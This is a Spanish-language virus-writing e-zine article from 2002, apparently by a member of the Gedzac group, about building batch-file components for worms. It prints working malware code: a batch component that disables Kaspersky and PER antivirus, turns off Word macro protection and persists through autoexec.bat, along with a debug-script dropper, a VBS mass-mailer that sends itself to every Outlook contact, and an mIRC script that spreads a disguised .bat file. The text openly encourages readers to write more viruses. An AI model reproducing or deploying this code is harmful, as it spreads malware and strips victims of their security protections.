Copy Link
Add to Bookmark
Report
Gedzac Mitosis Ezine Issue 01 002
(C) MITOSIS #1 E-Zine/GEDZAC 2002
Tema : Componentes BAT
Autor : Jtag
Válido para : Windows
--------------------------------------------------------------------------------------------
Decidí escribir este artículo a modo de pequeña introducción en torno a lo que puede representar un compomente utilitario para cualquier virus o I-Worm que quisiera servirse de archivos adicionales para realizar determinadas tareas.
Ya se sabe de las limitaciones de la programación BATCH en Windows, y a veces su relativa potencialidad cuando no se junta con un lenguaje de mayores prestaciones.
Ésta fue una de las principales razones por las cuales se dejó de escribir virus del tipo BATCH. Todo ésto siempre y cuando no se junta con otro lenguaje, o no se incorpore en el cuerpo vírico del archivo bat un lenguaje de mayor potencialidad.
Hago referencia a ésto, primero porque el artículo al que me he dedicado a continuación tratará con técnicas de programación en BATCH para servirse de otros lenguajes de programación externos a su cuerpo. Luego porque la programación BATCH es sumamente interesante, fácil de aprender, y a mi personalmente me ha sacado del paso la tarea de tener que programar fragmentos útiles de código vírico, sin complicarme mucho la vida en 3 millones de líneas. Además de ésto aprenderemos que la programación BATCH no debe de desaparecer radicalmente cuando puede dársele aplicaciones de este tipo, además de ser una excelente idea de fusión de lenguajes, y cooperatividad entre los miembros del grupo creador de virus.
Han pasado por mi mente, y ya he visto algunos proyectos antiguos sobre esta unión de la que hablo:
ASM-Batch
VBS-Batch
Delphi-Batch
IRC scripting-Batch
..... y algunas otras más, incluso mezclando hasta 3 ó 4 lenguajes
en el mismo código.
La facilidad es tal, que asi podemos evitarnos la escritura de muchas líneas para fragmentos de código un poco rutinarios que presupongan un dolor de cabeza en otros lenguajes de bajo o alto nivel.
_______________________________________________
Mis experiencias básicamente se basan en 2 componentes bat que se quiso realizar con dos virus, en algunas técnicas utilizadas por algunos escritores de virus ya algo conocidos en la virus scene, en mis propias técnicas y una que otra recomendación de algunos integrantes del grupo Gedzac.
Mi agradecimiento es de alguna u otra manera a éstos.
Un programa virus del tipo BATCH que me gusta es aquel que hace de "componente adicional" en el cuerpo vírico de alguno mucho mayor, como lo puede ser uno escrito en Delphi, o VBS.
Este componente haría el "trabajo sucio" para el mayor, asi podemos representar la unión entre diferentes lenguajes y trabajos de uno o más escritores del mismo virus.
Además de ser ésto útil, resulta ideal para simplificar las tareas de los escritores, y hace algo más vistoso un virus creado en conjunto.
Caso ejemplar es mi querido u odiado trabajo en Worm.P2P.Blinkom (grupo Gedzac).
Otro fue el que nunca se terminó de materializar con ErGrone (miembro de Gedzac).
Pero antes de abordarlos tendría que explicar las ideas fundamentales de las construcciones realizadas en todo el cuerpo del virus, y asi podremos entender mejor "el trabajo sucio" de un posible componente bat.
Me gustaría dejar claro aqui que es obvio para el lector el ya conocer lo básico de la programación en BATCH; éste no es un tutorial completo, es sólo una introducción al arte de acoplar un componente bat a un cuerpo vírico de mayor envergadura escrito en otros lenguajes.
________________________________________________
Una idea básica de lo mencionado se encontraría en un virus capaz de crear varios componentes que realizen funciones concretas y específicas.
Worm.P2P.Blinkom fue un gusano creado por Razor, en donde intervino también la acción de ErGrone y yo.
Es un virus escrito en delphi en cuyo cuerpo se encuentra el código de un componente bat.
La idea principal de Worm.P2P.Blinkom ("Blink" de ahora en adelante) era la de infectar a través de su código principal, relegando al trabajo sucio el componente bat que suelta en el sistema operativo Windows. Blink, al igual que el proyecto lamentablemente no-materializado VcM, construía sus propios componentes: código principal infector, motor de envío, y componente bat, el cual básicamente crearía determinadas entradas en el registro de windows, eliminaría el software antivirus de algunas compañías, dejaría su "firma" en otros ficheros .bat, y sería capaz de ejecutar el próximo componente que entra en cadena. Blink es capaz también de crear un script para un cliente de IRC, y asi propagar su envío mediante otros medios aparte de cuentas e-mail, y P2P (Kazaa).
Veamos la llamada que hace el virus para generar al componente bat:
AssignFile(Dammito,'C:\ThE MegA BlINk BaT.bat');
rewrite(Dammito);
Siendo el nombre del fichero ThE MegA BlINk BaT.bat que se ubicará en el directorio raíz, y luego se procederá a eliminarlo una vez ejecutado (para no dejar el fichero suelto y poder ser editado). El virus lo ejecuta mediante la siguiente línea:
ShellExecute(0,nil,PChar('C:\ThE MegA BlINk BaT.bat'),'','',SW_SHOWNORMAL);
y una vez ejecutadas todas sus tareas lo elimina:
deletefile(pchar('C:\ThE MegA BlINk BaT.bat'));
________________________________________
He aqui parte del componente original (programa BATCH)...
@echo off
@break off
ctty nul
echo REGEDIT4 > %Windir%\blink.reg
echo [HKEY_LOCAL_MACHINE\Software\KasperskyLab\SharedFiles] >> %Windir%\blink.reg
echo "avpfolder"="Blink Folder" >> %Windir%\blink.reg
echo [HKEY_LOCAL_MACHINE\Software\KasperskyLab\SharedFiles] >> %Windir%\blink.reg
echo "VEDataFilePath"="The Blink Path" >> %Windir%\blink.reg
echo [HKEY_LOCAL_MACHINE\Software\KasperskyLab\SharedFiles] >> %Windir%\blink.reg
echo "VEIndexFilePath"="The Plink, the Blink, the Oink" >> %Windir%\blink.reg
echo [HKEY_LOCAL_MACHINE\Software\KasperskyLab\SharedFiles] >> %Windir%\blink.reg
echo "MainDir"="Blink virus & the Batch company" >> %Windir%\blink.reg
echo [HKEY_LOCAL_MACHINE\Software\KasperskyLab\SharedFiles] >> %Windir%\blink.reg
echo "Folder"="Plink it's the Blink guitarrist yeeeeeh!" >> %Windir%\blink.reg
echo [HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Options] >> %Windir%\blink.reg
echo "EnableMacroVirusProtection"="0" >> %Windir%\blink.reg
echo [HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Options] >> %Windir%\blink.reg
echo "EnableMacroVirusProtection"="0" >> %Windir%\blink.reg
echo [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion] >> %Windir%\blink.reg
echo "RegisteredOwner"="Blink" >> %Windir%\blink.reg
echo "RegisteredOrganization"="The Blink company inc." >> %Windir%\blink.reg
regedit /s /c %Windir%\blink.reg
ECHO @attrib +h +r c:\ThE MegA BlINk BaT.bat >> c:\autoexec.bat
ECHO cls >> c:\autoexec.bat
ECHO @ECHO --------------------- >> c:\autoexec.bat
ECHO @ECHO [ Blink virus. ] >> c:\autoexec.bat
ECHO @ECHO [ Gedzac Labs 2002. ] >> c:\autoexec.bat
ECHO @ECHO --------------------- >> c:\autoexec.bat
ECHO @choice "" /c:12 /n /t:1,5 >> c:\autoexec.bat
ECHO @if errorlevel 1 goto fin >> c:\autoexec.bat
ECHO :fin >> c:\autoexec.bat
exit
______________________________________________
Una vez que Blink crea y ejecuta el bat, éste realiza lo siguiente:
Primero deshabilita la salida a dispositivos.
ctty es un comando que modifica un dispositivo o consola que junto al comando nul podemos hacer que el usuario no interactue ni vea nuestro bat en ejecución a través de un dispositivo como el monitor: ctty nul
Otra cuestión de seguridad para que nuestro virus no pueda ser detenido por acción de un comando como ctrl+c (detener la ejecución del proceso por lotes activo) es modificando el estado de break: @break off
De todas maneras la velocidad de ejecución de un código tan pequeño es muy rápida, y el usuario no tendría tiempo para detenerlo.
La seguridad para nuestro virus no acaba aqui, y principalmente las funciones del bat pueden resumirse en asegurar que determinados ficheros queden ocultos en el sistema, que el software antivirus quede deshabilitado, y finalmente dejaríamos nuestra firma para animar a los Avers a que le pongan el nombre del virus original (ideado por RaZor).
Para ésto comenzamos sobrescribiendo las bases acumulativas de nuestro tan querido software de J. Machado (perantivirus).
Este paquetito de aplicaciones informáticas de detección y eliminación de nuestros seres queridos (los virus) llamado "perantivirus" posee UN GRAVE FALLO.
Sí, sus bases pueden ser sobrescritas con cualquier código!
Para ésto recurriremos a una vieja técnica que todavía puede conseguirse en algunos tutoriales en internet, y aunque parezca desfazada nos ha servido para llenar de "basura" las bases de dicho software provocando un fallo en el arranque del antivirus y deshabilitándose en sus funciones principales.
Esta es la línea que permite el milagro:
for %%f in (C:\archiv~1\perav\*.dat) do copy %0 %%f
La desventaja de usar ese PATH es que sólo encontraría las bases en PC's originalmente instalados con una versión de windows en castellano, y que además corre el peligro de que el usuario haya instalado el software de perantivirus en otra carpeta diferente a la especificada o la carpeta que crea por defecto dicho software. Realmente hay maneras más eficaces para encontrar los *.dat en cualquier windows y en cualquier directorio, pero no me quise molestar mucho en instalar-probar-eliminar-reinstalar 10 veces. Asi que ya quedaría para otro futuro componente bat la tarea más seria.
Pudo haberse hecho de manera más limpia (entrando al registro y cambiando valores) pero ésto presupone todavía más una búsqueda más larga que la que se propone con el software de perantivirus. Asi que quedará para un futuro cercano.
Por cierto, días después de haber escrito ésto lo encontré:
echo REGEDIT4 > %Windir%\RottenGarage.reg
echo [HKEY_LOCAL_MACHINE\Software\PER Systems\PER Antivirus\Instalación] >> %Windir%\RottenGarage.reg
echo "dirPrincipal"="Pedro... ésta es una mejor deshabilitación de PER, no?, al menos sin tanto ruido." >> %Windir%\RottenGarage.reg
Deshabilitación del software antivirus del Sr. Eugene Kaspersky, AVP kaspersky antivirus. Ésto pudo hacerse porque se conocían las entradas que crea él en el registro, que al ser alteradas el software queda inutilizable mostrando una ventana de aviso. El valor introducido puede ser cualquier cadena de caracteres. Con tal de cambiar el original que viene por instalación AVP deja al usuario bien desamparado.
echo REGEDIT4 > %Windir%\blink.reg
echo [HKEY_LOCAL_MACHINE\Software\KasperskyLab\SharedFiles] >> %Windir%\blink.reg
echo "avpfolder"="Blink Folder" >> %Windir%\blink.reg
echo [HKEY_LOCAL_MACHINE\Software\KasperskyLab\SharedFiles] >> %Windir%\blink.reg
echo "VEDataFilePath"="The Blink Path" >> %Windir%\blink.reg
echo [HKEY_LOCAL_MACHINE\Software\KasperskyLab\SharedFiles] >> %Windir%\blink.reg
echo "VEIndexFilePath"="The Plink, the Blink, the Oink" >> %Windir%\blink.reg
echo [HKEY_LOCAL_MACHINE\Software\KasperskyLab\SharedFiles] >> %Windir%\blink.reg
echo "MainDir"="Blink virus & the Batch company" >> %Windir%\blink.reg
echo [HKEY_LOCAL_MACHINE\Software\KasperskyLab\SharedFiles] >> %Windir%\blink.reg
echo "Folder"="Plink it's the Blink guitarrist yeeeeeh!" >> %Windir%\blink.reg
REGEDIT4 > %Windir%\blink.reg crea un archivo de importación llamado blink.reg mediante dicho comando. Una vez importado pudo haber sido borrado completamente, pero bueno, como quedará el el directorio de instalación de windows entre muchos archivos supongo que el usuario básico y doméstico no se percatará ni debe percatarse de su presencia.
Aqui es muy importante especificar a %Windir% como el directorio default de instalación de windows, llámese Pepito, o BenitoBoy. %Windir% se encargará de ubicar el archivo de registro que crea el virus en el directorio de instalación de windows que haya escogido el usuario en su momento.
Básicamente la técnica empleada aqui es la entrada de valores en registro mediante redireccionamiento (me basé en el método de AlcoPaul). Y yo personalmente prefiero éste más otro método para introducir caracteres en determinados archivos.
Por ejemplo, si hubiésemos querido infectar todos los archivos bat en el directorio C: yo hubiese utilizado el otro método ya que aqui el redireccionamiento sería inútil.
Esta es la línea que lo permitiría hacer: copy c:\*.bat+%0.bat
Al componente bat de Blink también se le acopló una acción que permite deshabilitar la protección contra virus macro en las dos versiones más usadas de Microsoft Word (97 y 2000):
echo "EnableMacroVirusProtection"="0" >> %Windir%\blink.reg
echo [HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Options] >> %Windir%\blink.reg
echo "EnableMacroVirusProtection"="0" >> %Windir%\blink.reg
echo [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion] >> %Windir%\blink.reg
se modifica el valor a "0" y asi cuando el usuario habra un documento en cuyo interior existe una macro dicho software no avisará al usuario de su ejecución. Lo malo de usar ésto es que AVP Kaspersky Antivirus lo detecta y lo muestra al iniciar un scan general.
Finalmente, y para acabar ya con las entradas en registro marquemos a windows con nuestra firma:
echo [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion] >> %Windir%\blink.reg
echo "RegisteredOwner"="Blink" >> %Windir%\blink.reg
echo "RegisteredOrganization"="The Blink company inc." >> %Windir%\blink.reg
Si se ejecuta eso podréis ver la firma en el icono de Mi PC, botón derecho del mouse, y hacer "click" en propiedades.
_____________________________________________
Todo el archivo de registro se importa a windows mediante la siguiente línea:
regedit /s /c %Windir%\blink.reg
La importación de registro usando /s permite la ejecución y añadido de blink.reg al registro sin preguntar o interactuar con el usuario.
La utilización de /c reemplazará al valor original del registro con nuestro archivo de registro.
Podría decirse que toda esta larga tarea de acciones resultaría inútil si el usuario simplemente reinstala su software antivirus e importa un backup de su anterior registro. Para no dejar este componente bat en el olvido una vez que se haya ejecutado por primera vez usaremos un redireccionamiento hacia el autoexec.bat que permitiría ejecutar a cada reinicio del sistema nuestro componente bat, y asi deshabilitaría cada vez cualquier antivirus mencionado anteriormente cada vez que el usuario reinstale-reinicie.
ECHO @attrib +h +r c:\ThE MegA BlINk BaT.bat >> c:\autoexec.bat
NOTA: (el virus se compiló con un fallo en esta línea, ver código fuente original para mayor
referencia por favor)
Ésto copia en autoexec.bat la línea de cambio de atributos, colocando al archivo con atributos de "sólo lectura" y "oculto" al componente bat del virus; el usuario al reiniciar su PC no notaría nada fuera de lo normal en su autoexec.bat, pero tenemos la desventaja de que al ejecutarse nuestro componente exclusivamente se vea la ventana de interfaz de comandos en windows (en caso de ejecutarse al inicio de windows). Ésto delataría a un usuario experimentado de un archivo que se esta ejecutando al cargarse el sistema operativo.
De todas formas, Blink ya es suficientemente ruidoso como para estar escondiéndose, fue diseñado precisamente para hacer saber al usuario que estaba infectado.
Asi que básicamente lo interesante de este virus son sus payloads: llamadas telefónicas mediante la utilización de TAPI32.dll, cambio de colores en windows mediante alteraciones de registro hechas por el cuerpo vírico principal (también pudo haberlo hecho perfectamente este componente), descarga de mp3 (con la música del grupo Blink, a mi no me gusta ese grupo, es un asco, pero a RaZor le gusta), alteración de los menús del cliente messenger de Yahoo, etc, etc, etc.
Lo último perteneciente al código del componente bat es la firma que dejamos a cada reinicio en el autoexec.bat: (más o menos el usuario puede visualizar el resultado final)
ECHO @ECHO --------------------- >> c:\autoexec.bat
ECHO @ECHO [ Blink virus. ] >> c:\autoexec.bat
ECHO @ECHO [ Gedzac Labs 2002. ] >> c:\autoexec.bat
ECHO @ECHO --------------------- >> c:\autoexec.bat
ECHO @choice "" /c:12 /n /t:1,5 >> c:\autoexec.bat
ECHO @if errorlevel 1 goto fin >> c:\autoexec.bat
ECHO :fin >> c:\autoexec.bat
Esta firma permanecería durante 5 segundos en cada inicio de sistema, luego cede la ejecución final a windows para que el usuario pueda seguir disfrutando de los insuperables servicios que le ofrece Microsoft, principal proveedor de comida para nuestras creaciones.
_______________________________________
Básicamente la diferencia que tenía el componente bat del virus Blink con respecto al componente bat del proyecto VcM nunca realizado, era que en este último el mismo componente bat era el que continuaba la cadena de llamadas a otros componentes internos del virus escritos en diferentes lenguajes de programación.
Más o menos presentaba idénticas características y líneas que el componente bat de Blink, pero con la diferencia que al haber acabado la ejecución de todas las tareas que tenía asignado dicho componente éste llamaba al motor de envío escrito en VBS con un comando start en una ubicación o directorio determinado:
start c:\windows\motor.vbs
exit
Pero hay que entender la estructura básica de VcM...
Sería un empaquetado SHS que contendría el código VBS y BAT, todo eso metido en un código de archivo ejecutable (EXE).
La estructura original era ésta:
SHS > EXE > BAT > VBS
Siendo el VBS un potentísimo y encriptado motor de envío capaz de enviar de nuevo todo el empaquetado inicial.
Creo que es un buen ejemplo de interacción y creación de componentes en un mismo virus, lástima que nunca terminó de materializarse.
_________________________________________
Voy a recomendar algunas cosas a los escritores de virus que quieran por ejemplo verificar el correcto cumplimiento de las tareas de un componente bat con múltiples tareas en un virus sin necesidad de ejecutarlo todo.
El archivo de sistema command.com posee una línea de comandos capaz de ejecutar un archivo de extensión .bat paso a paso, visualizando su resultado en pantalla:
COMMAND.COM /Y /C c:\archivo.bat
pudiendo colocarse la ubicación que sea.
Esta línea de comandos nos iría preguntando paso a paso si queremos seguir con la siguiente línea, una detrás de otra dejándonos visualizar el resultado, y verificando la correcta respuesta en nuestro sistema simplemente comprobando si uno o tal otro archivo se ha creado (si es que le hemos indicado el copiado o borrado de archivos).
La "relativa" potencialidad de un virus batch queda expuesta aqui ya que existen ciertas posibilidades a ser explotadas, y otras desventajas que exponen nuestro virus a ser fácilmente editado.
Un código virus creado en BATCH puro no llega muy lejos, a lo sumo podríamos usar una especie de "polimorfismo" (ver virus del Sr. GLiTCH), y otras complicadas y avanzadas técnicas de programación en dicho lenguaje para crear un virus de relativa complejidad. Pero si a éste se le añade en su propio cuerpo una serie de instrucciones en otros lenguajes más potentes que sea capaz de ejecutar el sistema operativo cada vez qu se ejecuta el virus estaríamos delante de un virus mucho más potente y complicado. Un ejemplo de ésto esta en la implementación de código ASM a ser ejecutado por el mismo debug de Microsoft Windows.
Sólamente con esta unión podemos acceder a zonas del sistema más profundas que no con BATCH puro.
Expongamos un ejemplo.... éste es el fragmento de una técnica antiheurísitca creada por AlcoPaul; utiliza un script debug en su código BATCH:
echo.q>>b
debug < b
debug < c:\txt
start c:\recycled\mail.vbs
echo.e 0100 52 45 47 45 44 49 54 34 0D 0A 5B 48 4B 45 59 5F>c
echo.e 0110 43 4C 41 53 53 45 53 5F 52 4F 4F 54 5C 74 78 74>>c
echo.e 0120 66 69 6C 65 5C 73 68 65 6C 6C 5C 6F 70 65 6E 5C>>c
echo.e 0130 63 6F 6D 6D 61 6E 64 5D 0D 0A 40 3D 22 43 3A 5C>>c
echo.e 0140 5C 57 49 4E 44 4F 57 53 5C 5C 61 67 75 69 6C 65>>c
echo.e 0150 72 61 2E 62 61 74 22 0D 0A 0D 0A 04 00 75 0C 80>>c
echo.rcx>>c
echo.5b>>c
echo.nc:\reg.reg>>c
echo.w>>c
echo.q>>c
debug < c
regedit /s c:\reg.reg
del c:\reg.reg
ctty con
exit
No entraré en detalles técnicos sobre todo el código completo de este virus, sólo comentar que en BATCH pueden acoplarse distintos lenguajes.
El siguiente es un ejemplo de motor genérico de envío en VBS usando código BATCH para crearse a si mismo:
@echo off
copy %0 c:\archivo.bat
echo.on error resume next > c:\motor.vbs
echo dim a,b,c,d,e >> c:\motor.vbs
echo set a = Wscript.CreateObject("Wscript.Shell") >> c:\motor.vbs
echo set b = CreateObject("Outlook.Application") >> c:\motor.vbs
echo set c = b.GetNameSpace("MAPI") >> c:\motor.vbs
echo for y = 1 To c.AddressLists.Count >> c:\motor.vbs
echo set d = c.AddressLists(y) >> c:\motor.vbs
echo x = 1 >> c:\motor.vbs
echo set e = b.CreateItem(0) >> c:\motor.vbs
echo for o = 1 To d.AddressEntries.Count >> c:\motor.vbs
echo f = d.AddressEntries(x) >> c:\motor.vbs
echo e.Recipients.Add f >> c:\motor.vbs
echo x = x + 1 >> c:\motor.vbs
echo next >> c:\motor.vbs
echo e.Subject = "Hola Jtag!" >> c:\motor.vbs
echo e.Body = "He aqui mi super motor de envío" >> c:\motor.vbs
echo e.Attachments.Add ("c:\archivo.bat") >> c:\motor.vbs
echo e.DeleteAfterSubmit = False >> c:\motor.vbs
echo e.Send >> c:\motor.vbs
echo f = "" >> c:\motor.vbs
echo next >> c:\motor.vbs
start c:\motor.vbs
exit
Como puede notarse usa la misma técnica de redireccionamiento mencionada anteriormente. Con dicha técnica podemos crear archivos en diferentes lenguajes. Desde ASM, pasando por VBS, hasta scripts para clientes IRC, o también códigos Javascript o HTML.
El que aqui sigue es un ejemplo de script muy usado en virus IRC:
del c:\mIRC\script.ini echo [script] > c:\mIRC\script.ini
echo n0= on 1:JOIN:#: if ( $me != $nick ) { /dcc send $nick c:\WINDOWS\XPUpgrade.bat } >> c:\mIRC\script.ini
echo n1= /join #Beginner >> c:\mIRC\script.ini
Creo que se dejó de escribir virus del tipo BATCH debido a las debilidades que presentaba. Veamos.... si un virus BAT llega a infectar un sistema puede editarse fácilmente el contenido de éste, y ser eliminado. Muchos inclusive sin ayuda de antivirus pero sí con pericia a la hora de interpretar las funciones de un código BATCH.
Este tipo de cosas puede resolverse a veces convirtiendo el formato de archivo.
Existen herramientas que permiten por ejemplo convertir un archivo de formato .bat a uno del tipo .exe ó .com.
A veces a mi me generaban errores, pero no deja de ser una buena herramienta a la hora de que no queramos que un usuario doméstico con ligeros conocimientos de programación BATCH abra y edite todo nuestro código vírico exponiendo completamente todas las funciones del virus.
______________________________________
Sin lenguajes más potentes un virus BATCH no puede hacer mucha cosa, y creo que esa fue una de las principales razones por las cuales se dejó de crear este tipo de virus. Además de ceder paso a los del tipo gusano de internet escritos en otros lenguajes de alto nivel que permitiesen la infección de archivos en donde naturalmente el código BATCH no puede tener acceso.
Mezclando BATCH y ASM pueden llegarse incluso a zonas bajas del sistema, o si se utilizan lenguajes de alto nivel puede crearse un poderoso motor de envío masivo. Pero el código BATCH puro se resume en un conjunto de instrucciones muy limitadas y poco potentes, además de tener que utilizar los mismos comandos de MS-DOS para realizar determinadas tareas.
Ésto es todo lo que tengo que decir por los momentos, y animo a retomar la programación de virus en BATCH.
Creo que todavía pueden hacerse cosas muy interesantes.
(C) MITOSIS E-Zine/GEDZAC 2002